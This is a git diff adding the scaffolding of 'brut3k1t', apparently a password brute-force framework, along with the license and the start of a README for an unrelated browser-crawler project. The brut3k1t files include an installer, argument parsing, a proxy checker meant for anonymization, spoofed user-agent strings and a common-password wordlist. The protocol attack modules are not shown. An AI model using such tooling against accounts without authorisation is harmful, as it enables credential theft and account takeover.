+Core and Miscellaneous modules are __community-supported__. You may help contribute by writing modules for brut3k1t. However, when doing so, please include the folowing as a block of comment. This is for structural purposes, as well as a to provide organization to the program. 
+
+    '''
+    module.py - My module for blah blah.
+
+    Category: Core / Miscellaneous
+    Description: 
+        This module is really cool. It is the best ever. 
+        It supports:
+        - this 
+        - that
+        - and also this
+
+    Dependencies: library1, library2
+
+    Version: v.1.2.3
+    Author: Me
+    License: SomeLicense-x.x // https://somelicense.org
+
+    '''
\ No newline at end of file
diff --git a/brut3k1t/installer b/brut3k1t/installer
new file mode 100755
index 00000000..f410ed83
--- /dev/null
+++ b/brut3k1t/installer
@@ -0,0 +1,82 @@
+#!/usr/bin/python
+from time import sleep
+import os, sys
+
+W = '\033[0m'  # white (normal)
+R = '\033[31m'  # red
+G = '\033[32m'  # green
+O = '\033[33m'  # orange
+B = '\033[34m'  # blue
+P = '\033[35m'  # purple
+C = '\033[36m'  # cyan
+GR = '\033[37m'  # gray
+
+def kali_build():
+
+    print O + "Updating Repositories..." + W
+    sleep(1.5)
+    os.system("sudo apt-get update")
+    print O + "Installing essential packages..." + W
+    sleep(1.5)
+    os.system("sudo apt-get install build-essential libssl-dev libffi-dev python-dev python-setuptools")
+    os.system("sudo apt-get install python-selenium")
+    os.system("sudo apt-get install firefoxdriver")
+    print O + "Installing pip modules" + W
+    sleep(1.5)
+    os.system("sudo pip install -r requirements.txt")
+    print G + "Done installing dependences!" + W
+    sys.exit(0)
+
+def ubuntu_build():
+    print O + "Updating Repositories..." + W
+    sleep(1.5)
+    os.system("sudo add-apt-repository universe")
+    os.system("sudo apt-get update")
+    print O + "Installing essential packages..." + W
+    sleep(1.5)
+    os.system("sudo apt-get install build-essential libssl-dev libffi-dev python-dev python-setuptools")
+    os.system("sudo apt-get install python-pip") # result of universe repo
+    print O + "Installing pip modules" + W
+    sleep(1.5)
+    os.system("sudo pip install -r requirements.txt")
+    os.system("sudo pip install -U selenium")
+
+
+# OS X / Darwin
+def osx_build():
+    print O + "Installing Homebrew..." + W
+    sleep(1.5)
+    os.system("""/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" """)
+    os.system("brew install Caskroom/cask/firefox")
+    os.system("sudo easy_install pip")
+    print O + "Installing pip modules" + W
+    sleep(1.5)
+    os.system("sudo easy_install selenium")
+    # If Crytography returns errorS
+    os.system("brew install libffi")
+    os.system("sudo pip install -r requirements.txt")
+    print O + "Getting GeckoDriver" + W
+    os.system("cd dependencies && sudo tar -xvf geckodriver-v0.14.0-linux32.tar.gz && sudo mv -R geckodriver $HOME")
+    print G + "[!] Done installing dependences! [!]" + W
+    sys.exit(0)
+
+while True:
+    print "\n(1) Kali Linux x32/x64"
+    print "(2) Ubuntu / Parrot OS"
+    print "(3) Mac OS X / Darwin\n"
+    print "(0) Uninstall"
+    getos = raw_input(">> ")
+    if getos == "1":
+        kali_build()
+        break
+    elif getos == "2":
+        ubuntu_build()
+        print O + "Getting GeckoDriver" + W
+        sleep(1.5)
+        os.system("cd dependences && sudo tar -xvf geckodriver-v0.13.0-linux32.tar.gz && sudo mv geckodriver /usr/bin ")
+        print G + "Done installing dependences!" + W
+        break
+    elif getos == "3":
+        osx_build()
+    else:
+        continue
diff --git a/brut3k1t/modules/__init__.py b/brut3k1t/modules/__init__.py
new file mode 100644
index 00000000..3fb93e6b
--- /dev/null
+++ b/brut3k1t/modules/__init__.py
@@ -0,0 +1 @@
+from filecrack import Filecrack
\ No newline at end of file
diff --git a/brut3k1t/modules/filecrack.py b/brut3k1t/modules/filecrack.py
new file mode 100644
index 00000000..f638a11b
--- /dev/null
+++ b/brut3k1t/modules/filecrack.py
@@ -0,0 +1,14 @@
+'''
+filecrack.py - Miscellanous module for various filetype cracking
+
+Category: Miscellanous 
+Description: 
+    
+
+Dependencies: 
+
+Version: v1.0.0
+Author: ex0dus
+License: GPL-3.0 || https://opensource.org/licenses/GPL-3.0
+
+'''
\ No newline at end of file
diff --git a/brut3k1t/proxy.txt b/brut3k1t/proxy.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/brut3k1t/requirements.txt b/brut3k1t/requirements.txt
new file mode 100644
index 00000000..ac252ecb
--- /dev/null
+++ b/brut3k1t/requirements.txt
@@ -0,0 +1,5 @@
+mechanize==0.2.5
+paramiko==2.0.2
+requests==2.10.0
+selenium==2.53.2
+xmpppy==0.5.0rc1
diff --git a/brut3k1t/src/__init__.py b/brut3k1t/src/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/brut3k1t/src/brut3k1t.py b/brut3k1t/src/brut3k1t.py
new file mode 100644
index 00000000..9c811a14
--- /dev/null
+++ b/brut3k1t/src/brut3k1t.py
@@ -0,0 +1,81 @@
+#!/usr/bin/python
+from src.main import *
+from src.header import *
+
+from core.protocols import *
+from core.xmpp import *
+from core.web import *
+
+class Bruteforce(object):
+    def __init__(self, service, username, wordlist, address, port, delay, proxy):
+        
+        self.service = service
+        self.username = username
+        self.wordlist = wordlist
+        self.address = address 
+        self.port = port
+        self.delay = delay
+        self.proxy = proxy
+        
+        self.get_args(self.service, self.username, self.wordlist, self.address, self.port, self.delay, self.proxy)
+        
+        print choice(headers)
+        print (G + "[*] Username: %s " % self.username) + W
+        sleep(0.5)
+        print (G + "[*] Wordlist: %s " % self.wordlist) + W
+        sleep(0.5)
+        if os.path.exists(self.wordlist) == False:
+            print R + "[!] Wordlist not found! [!]" + W
+            exit()
+        print (C + "[*] Service: %s "  % self.service) + W
+        if self.service is None:
+            print R + "[!] No service provided! [!]" + W
+        if self.proxy is not None:
+            print (C + "[*] Proxy file: %s " % self.proxy) + W
+            print O + "Checking if proxies are active...\n" + W
+            self.proxyServer(self.proxy)
+        sleep(0.5)
+        
+    def get_args(self, service, username, wordlist, address, port, delay, proxy):
+        parser = argparse.ArgumentParser(description='Bruteforce framework written in Python')
+        required = parser.add_argument_group('required arguments')
+        required.add_argument('-s', '--service', dest='service', help="Provide a service being attacked. Several protocols and services are supported")
+        required.add_argument('-u', '--username', dest='username', help='Provide a valid username for service/protocol being executed')
+        required.add_argument('-w', '--wordlist', dest='password', help='Provide a wordlist or directory to a wordlist')
+        parser.add_argument('-a', '--address', dest='address', help='Provide host address for specified service. Required for certain protocols')
+        parser.add_argument('-p', '--port', type=int, dest='port', help='Provide port for host address for specified service. If not specified, will be automatically set')
+        parser.add_argument('-d', '--delay', type=int, dest='delay', help='Provide the number of seconds the program delays as each password is tried')
+        parser.add_argument('--proxy', dest='proxy', help="Providing a proxy for anonymization and avoiding time-outs")
+
+        args = parser.parse_args()
+
+        man_options = ['username', 'password']
+        for m in man_options:
+            if not args.__dict__[m]:
+                print R + "[!] You have to specify a username AND a wordlist! [!]" + W
+                exit()
+
+        self.service = args.service
+        self.username = args.username
+        self.wordlist = args.password
+        self.address = args.address
+        self.port = args.port
+        self.delay = args.delay
+        self.proxy = args.proxy
+
+        if self.delay is None:
+            self.delay = 1
+        
+    def proxyServer(proxy):
+        proxy = open(proxy, 'r')
+        for i in proxy.readlines():
+            proxyaddr = i.strip("\n")
+            try:
+                proxies = {"http" : "http://" + str(proxyaddr) }
+                r = requests.get("http://google.com", proxies=proxies)
+                print G + "[v]" + W + (" Proxy %s is found! " % proxyaddr)
+            except requests.exceptions.ProxyError:
+                print R + "[X]" + W + (" Proxy %s is NOT found!" % proxyaddr)
+                
+            proxy.close()
+    
diff --git a/brut3k1t/src/header.py b/brut3k1t/src/header.py
new file mode 100644
index 00000000..5448d657
--- /dev/null
+++ b/brut3k1t/src/header.py
@@ -0,0 +1,15 @@
+from random import *
+
+header = """
+
+  _                _   _____ _    _ _
+ | |__  _ __ _   _| |_|___ /| | _/ | |_
+ | '_ \| '__| | | | __| |_ \| |/ / | __|
+ | |_) | |  | |_| | |_ ___) |   <| | |_
+ |_.__/|_|   \__,_|\__|____/|_|\_\_|\__|
+    Written by: @ex0dus-0x
+ """
+
+# TODO: Build new headers
+
+headers = [header]
diff --git a/brut3k1t/src/main.py b/brut3k1t/src/main.py
new file mode 100644
index 00000000..a99459a4
--- /dev/null
+++ b/brut3k1t/src/main.py
@@ -0,0 +1,26 @@
+ # -*- coding: utf-8 -*-
+import socket, os, requests
+from time import sleep
+from random import *
+from subprocess import call
+
+import smtplib, argparse, paramiko, mechanize, telnetlib, ftplib
+from xmpp import *
+from selenium import webdriver
+from selenium.webdriver.common.keys import Keys
+import sys
+
+reload(sys)
+sys.setdefaultencoding('utf8')
+
+W = '\033[0m'  # white (normal)
+R = '\033[31m'  # red
+G = '\033[32m'  # green
+O = '\033[33m'  # orange
+B = '\033[34m'  # blue
+P = '\033[35m'  # purple
+C = '\033[36m'  # cyan
+GR = '\033[37m'  # gray
+
+TIMEOUT = "There was a problem logging you in. Please try again soon."
+
diff --git a/brut3k1t/src/user_agents.txt b/brut3k1t/src/user_agents.txt
new file mode 100644
index 00000000..f05b7638
--- /dev/null
+++ b/brut3k1t/src/user_agents.txt
@@ -0,0 +1,899 @@
+"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
+"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
+"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)"
+"Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)"
+"Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)"
+"Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"
+"Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)"
+"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)"
+"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)"
+"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7"
+"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E)"
+"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)"
+"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)"
+"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E)"
+"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0"
+"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57)"
+"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205"
+"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)"
+"Mozilla/5.0 ( ; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
+"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)"
+"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 7.1; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C)"
+"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; AskTB5.5)"
+"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E)"
+"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C)"
+"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; FDM; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
+"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320)"
+"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)"
+"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)"
+"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
+"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30)"
+"Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS)"
+"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
+"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)"
+"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8"
+"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)"
+"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8)"
+"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)"
+"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0)"
+"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN)"
+"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224"
+"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7; InfoPath.3)"
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diff --git a/brut3k1t/wordlist.txt b/brut3k1t/wordlist.txt
new file mode 100644
index 00000000..da14096d
--- /dev/null
+++ b/brut3k1t/wordlist.txt
@@ -0,0 +1,100 @@
+123456
+12345678
+qwerty
+123456789
+12345
+1234
+password
+111111
+1234567
+dragon
+123123
+baseball
+abc123
+football
+monkey
+letmein
+696969
+shadow
+master
+666666
+qwertyuiop
+123321
+mustang
+1234567890
+michael
+654321
+pussy
+superman
+1qaz2wsx
+7777777
+fuckyou
+121212
+000000
+qazwsx
+123qwe
+killer
+trustno1
+jordan
+jennifer
+zxcvbnm
+asdfgh
+hunter
+buster
+soccer
+harley
+batman
+andrew
+tigger
+sunshine
+iloveyou
+fuckme
+2000
+charlie
+robert
+thomas
+hockey
+ranger
+daniel
+starwars
+klaster
+112233
+george
+asshole
+computer
+michelle
+jessica
+pepper
+1111
+zxcvbn
+555555
+11111111
+131313
+freedom
+777777
+pass
+fuck
+maggie
+159753
+aaaaaa
+ginger
+princess
+joshua
+cheese
+amanda
+summer
+love
+ashley
+6969
+nicole
+chelsea
+biteme
+matthew
+access
+yankees
+987654321
+dallas
+austin
+thunder
+taylor
+matrix
diff --git a/chameleon-crawler/.gitignore b/chameleon-crawler/.gitignore
new file mode 100644
index 00000000..c4f50e53
--- /dev/null
+++ b/chameleon-crawler/.gitignore
@@ -0,0 +1,5 @@
+__pycache__/
+*.crx
+*.sw?
+Session.vim
+results.sqlite3
diff --git a/chameleon-crawler/LICENSE b/chameleon-crawler/LICENSE
new file mode 100644
index 00000000..14e2f777
--- /dev/null
+++ b/chameleon-crawler/LICENSE
@@ -0,0 +1,373 @@
+Mozilla Public License Version 2.0
+==================================
+
+1. Definitions
+--------------
+
+1.1. "Contributor"
+    means each individual or legal entity that creates, contributes to
+    the creation of, or owns Covered Software.
+
+1.2. "Contributor Version"
+    means the combination of the Contributions of others (if any) used
+    by a Contributor and that particular Contributor's Contribution.
+
+1.3. "Contribution"
+    means Covered Software of a particular Contributor.
+
+1.4. "Covered Software"
+    means Source Code Form to which the initial Contributor has attached
+    the notice in Exhibit A, the Executable Form of such Source Code
+    Form, and Modifications of such Source Code Form, in each case
+    including portions thereof.
+
+1.5. "Incompatible With Secondary Licenses"
+    means
+
+    (a) that the initial Contributor has attached the notice described
+        in Exhibit B to the Covered Software; or
+
+    (b) that the Covered Software was made available under the terms of
+        version 1.1 or earlier of the License, but not also under the
+        terms of a Secondary License.
+
+1.6. "Executable Form"
+    means any form of the work other than Source Code Form.
+
+1.7. "Larger Work"
+    means a work that combines Covered Software with other material, in 
+    a separate file or files, that is not Covered Software.
+
+1.8. "License"
+    means this document.
+
+1.9. "Licensable"
+    means having the right to grant, to the maximum extent possible,
+    whether at the time of the initial grant or subsequently, any and
+    all of the rights conveyed by this License.
+
+1.10. "Modifications"
+    means any of the following:
+
+    (a) any file in Source Code Form that results from an addition to,
+        deletion from, or modification of the contents of Covered
+        Software; or
+
+    (b) any new file in Source Code Form that contains any Covered
+        Software.
+
+1.11. "Patent Claims" of a Contributor
+    means any patent claim(s), including without limitation, method,
+    process, and apparatus claims, in any patent Licensable by such
+    Contributor that would be infringed, but for the grant of the
+    License, by the making, using, selling, offering for sale, having
+    made, import, or transfer of either its Contributions or its
+    Contributor Version.
+
+1.12. "Secondary License"
+    means either the GNU General Public License, Version 2.0, the GNU
+    Lesser General Public License, Version 2.1, the GNU Affero General
+    Public License, Version 3.0, or any later versions of those
+    licenses.
+
+1.13. "Source Code Form"
+    means the form of the work preferred for making modifications.
+
+1.14. "You" (or "Your")
+    means an individual or a legal entity exercising rights under this
+    License. For legal entities, "You" includes any entity that
+    controls, is controlled by, or is under common control with You. For
+    purposes of this definition, "control" means (a) the power, direct
+    or indirect, to cause the direction or management of such entity,
+    whether by contract or otherwise, or (b) ownership of more than
+    fifty percent (50%) of the outstanding shares or beneficial
+    ownership of such entity.
+
+2. License Grants and Conditions
+--------------------------------
+
+2.1. Grants
+
+Each Contributor hereby grants You a world-wide, royalty-free,
+non-exclusive license:
+
+(a) under intellectual property rights (other than patent or trademark)
+    Licensable by such Contributor to use, reproduce, make available,
+    modify, display, perform, distribute, and otherwise exploit its
+    Contributions, either on an unmodified basis, with Modifications, or
+    as part of a Larger Work; and
+
+(b) under Patent Claims of such Contributor to make, use, sell, offer
+    for sale, have made, import, and otherwise transfer either its
+    Contributions or its Contributor Version.
+
+2.2. Effective Date
+
+The licenses granted in Section 2.1 with respect to any Contribution
+become effective for each Contribution on the date the Contributor first
+distributes such Contribution.
+
+2.3. Limitations on Grant Scope
+
+The licenses granted in this Section 2 are the only rights granted under
+this License. No additional rights or licenses will be implied from the
+distribution or licensing of Covered Software under this License.
+Notwithstanding Section 2.1(b) above, no patent license is granted by a
+Contributor:
+
+(a) for any code that a Contributor has removed from Covered Software;
+    or
+
+(b) for infringements caused by: (i) Your and any other third party's
+    modifications of Covered Software, or (ii) the combination of its
+    Contributions with other software (except as part of its Contributor
+    Version); or
+
+(c) under Patent Claims infringed by Covered Software in the absence of
+    its Contributions.
+
+This License does not grant any rights in the trademarks, service marks,
+or logos of any Contributor (except as may be necessary to comply with
+the notice requirements in Section 3.4).
+
+2.4. Subsequent Licenses
+
+No Contributor makes additional grants as a result of Your choice to
+distribute the Covered Software under a subsequent version of this
+License (see Section 10.2) or under the terms of a Secondary License (if
+permitted under the terms of Section 3.3).
+
+2.5. Representation
+
+Each Contributor represents that the Contributor believes its
+Contributions are its original creation(s) or it has sufficient rights
+to grant the rights to its Contributions conveyed by this License.
+
+2.6. Fair Use
+
+This License is not intended to limit any rights You have under
+applicable copyright doctrines of fair use, fair dealing, or other
+equivalents.
+
+2.7. Conditions
+
+Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted
+in Section 2.1.
+
+3. Responsibilities
+-------------------
+
+3.1. Distribution of Source Form
+
+All distribution of Covered Software in Source Code Form, including any
+Modifications that You create or to which You contribute, must be under
+the terms of this License. You must inform recipients that the Source
+Code Form of the Covered Software is governed by the terms of this
+License, and how they can obtain a copy of this License. You may not
+attempt to alter or restrict the recipients' rights in the Source Code
+Form.
+
+3.2. Distribution of Executable Form
+
+If You distribute Covered Software in Executable Form then:
+
+(a) such Covered Software must also be made available in Source Code
+    Form, as described in Section 3.1, and You must inform recipients of
+    the Executable Form how they can obtain a copy of such Source Code
+    Form by reasonable means in a timely manner, at a charge no more
+    than the cost of distribution to the recipient; and
+
+(b) You may distribute such Executable Form under the terms of this
+    License, or sublicense it under different terms, provided that the
+    license for the Executable Form does not attempt to limit or alter
+    the recipients' rights in the Source Code Form under this License.
+
+3.3. Distribution of a Larger Work
+
+You may create and distribute a Larger Work under terms of Your choice,
+provided that You also comply with the requirements of this License for
+the Covered Software. If the Larger Work is a combination of Covered
+Software with a work governed by one or more Secondary Licenses, and the
+Covered Software is not Incompatible With Secondary Licenses, this
+License permits You to additionally distribute such Covered Software
+under the terms of such Secondary License(s), so that the recipient of
+the Larger Work may, at their option, further distribute the Covered
+Software under the terms of either this License or such Secondary
+License(s).
+
+3.4. Notices
+
+You may not remove or alter the substance of any license notices
+(including copyright notices, patent notices, disclaimers of warranty,
+or limitations of liability) contained within the Source Code Form of
+the Covered Software, except that You may alter any license notices to
+the extent required to remedy known factual inaccuracies.
+
+3.5. Application of Additional Terms
+
+You may choose to offer, and to charge a fee for, warranty, support,
+indemnity or liability obligations to one or more recipients of Covered
+Software. However, You may do so only on Your own behalf, and not on
+behalf of any Contributor. You must make it absolutely clear that any
+such warranty, support, indemnity, or liability obligation is offered by
+You alone, and You hereby agree to indemnify every Contributor for any
+liability incurred by such Contributor as a result of warranty, support,
+indemnity or liability terms You offer. You may include additional
+disclaimers of warranty and limitations of liability specific to any
+jurisdiction.
+
+4. Inability to Comply Due to Statute or Regulation
+---------------------------------------------------
+
+If it is impossible for You to comply with any of the terms of this
+License with respect to some or all of the Covered Software due to
+statute, judicial order, or regulation then You must: (a) comply with
+the terms of this License to the maximum extent possible; and (b)
+describe the limitations and the code they affect. Such description must
+be placed in a text file included with all distributions of the Covered
+Software under this License. Except to the extent prohibited by statute
+or regulation, such description must be sufficiently detailed for a
+recipient of ordinary skill to be able to understand it.
+
+5. Termination
+--------------
+
+5.1. The rights granted under this License will terminate automatically
+if You fail to comply with any of its terms. However, if You become
+compliant, then the rights granted under this License from a particular
+Contributor are reinstated (a) provisionally, unless and until such
+Contributor explicitly and finally terminates Your grants, and (b) on an
+ongoing basis, if such Contributor fails to notify You of the
+non-compliance by some reasonable means prior to 60 days after You have
+come back into compliance. Moreover, Your grants from a particular
+Contributor are reinstated on an ongoing basis if such Contributor
+notifies You of the non-compliance by some reasonable means, this is the
+first time You have received notice of non-compliance with this License
+from such Contributor, and You become compliant prior to 30 days after
+Your receipt of the notice.
+
+5.2. If You initiate litigation against any entity by asserting a patent
+infringement claim (excluding declaratory judgment actions,
+counter-claims, and cross-claims) alleging that a Contributor Version
+directly or indirectly infringes any patent, then the rights granted to
+You by any and all Contributors for the Covered Software under Section
+2.1 of this License shall terminate.
+
+5.3. In the event of termination under Sections 5.1 or 5.2 above, all
+end user license agreements (excluding distributors and resellers) which
+have been validly granted by You or Your distributors under this License
+prior to termination shall survive termination.
+
+************************************************************************
+*                                                                      *
+*  6. Disclaimer of Warranty                                           *
+*  -------------------------                                           *
+*                                                                      *
+*  Covered Software is provided under this License on an "as is"       *
+*  basis, without warranty of any kind, either expressed, implied, or  *
+*  statutory, including, without limitation, warranties that the       *
+*  Covered Software is free of defects, merchantable, fit for a        *
+*  particular purpose or non-infringing. The entire risk as to the     *
+*  quality and performance of the Covered Software is with You.        *
+*  Should any Covered Software prove defective in any respect, You     *
+*  (not any Contributor) assume the cost of any necessary servicing,   *
+*  repair, or correction. This disclaimer of warranty constitutes an   *
+*  essential part of this License. No use of any Covered Software is   *
+*  authorized under this License except under this disclaimer.         *
+*                                                                      *
+************************************************************************
+
+************************************************************************
+*                                                                      *
+*  7. Limitation of Liability                                          *
+*  --------------------------                                          *
+*                                                                      *
+*  Under no circumstances and under no legal theory, whether tort      *
+*  (including negligence), contract, or otherwise, shall any           *
+*  Contributor, or anyone who distributes Covered Software as          *
+*  permitted above, be liable to You for any direct, indirect,         *
+*  special, incidental, or consequential damages of any character      *
+*  including, without limitation, damages for lost profits, loss of    *
+*  goodwill, work stoppage, computer failure or malfunction, or any    *
+*  and all other commercial damages or losses, even if such party      *
+*  shall have been informed of the possibility of such damages. This   *
+*  limitation of liability shall not apply to liability for death or   *
+*  personal injury resulting from such party's negligence to the       *
+*  extent applicable law prohibits such limitation. Some               *
+*  jurisdictions do not allow the exclusion or limitation of           *
+*  incidental or consequential damages, so this exclusion and          *
+*  limitation may not apply to You.                                    *
+*                                                                      *
+************************************************************************
+
+8. Litigation
+-------------
+
+Any litigation relating to this License may be brought only in the
+courts of a jurisdiction where the defendant maintains its principal
+place of business and such litigation shall be governed by laws of that
+jurisdiction, without reference to its conflict-of-law provisions.
+Nothing in this Section shall prevent a party's ability to bring
+cross-claims or counter-claims.
+
+9. Miscellaneous
+----------------
+
+This License represents the complete agreement concerning the subject
+matter hereof. If any provision of this License is held to be
+unenforceable, such provision shall be reformed only to the extent
+necessary to make it enforceable. Any law or regulation which provides
+that the language of a contract shall be construed against the drafter
+shall not be used to construe this License against a Contributor.
+
+10. Versions of the License
+---------------------------
+
+10.1. New Versions
+
+Mozilla Foundation is the license steward. Except as provided in Section
+10.3, no one other than the license steward has the right to modify or
+publish new versions of this License. Each version will be given a
+distinguishing version number.
+
+10.2. Effect of New Versions
+
+You may distribute the Covered Software under the terms of the version
+of the License under which You originally received the Covered Software,
+or under the terms of any subsequent version published by the license
+steward.
+
+10.3. Modified Versions
+
+If you create software not governed by this License, and you want to
+create a new license for such software, you may create and use a
+modified version of this License if you rename the license and remove
+any references to the name of the license steward (except to note that
+such modified license differs from this License).
+
+10.4. Distributing Source Code Form that is Incompatible With Secondary
+Licenses
+
+If You choose to distribute Source Code Form that is Incompatible With
+Secondary Licenses under the terms of this version of the License, the
+notice described in Exhibit B of this License must be attached.
+
+Exhibit A - Source Code Form License Notice
+-------------------------------------------
+
+  This Source Code Form is subject to the terms of the Mozilla Public
+  License, v. 2.0. If a copy of the MPL was not distributed with this
+  file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+If it is not possible or desirable to put the notice in a particular
+file, then You may include the notice in a location (such as a LICENSE
+file in a relevant directory) where a recipient would be likely to look
+for such a notice.
+
+You may add additional accurate notices of copyright ownership.
+
+Exhibit B - "Incompatible With Secondary Licenses" Notice
+---------------------------------------------------------
+
+  This Source Code Form is "Incompatible With Secondary Licenses", as
+  defined by the Mozilla Public License, v. 2.0.
diff --git a/chameleon-crawler/README.md b/chameleon-crawler/README.md
new file mode 100644
index 00000000..a553cc8d
--- /dev/null
+++ b/chameleon-crawler/README.md
@@ -0,0 +1,69 @@
+# Chameleon Crawler
+
+Browser automation for [Chameleon](https://github.com/ghostwords/chameleon).
+
+
+## Setup
+
+- Install Chromium, chromedriver, python3 and xvfb. On Ubuntu:
+```
+sudo apt-get install chromium-browser chromium-chromedriver python3 xvfb
+```
+
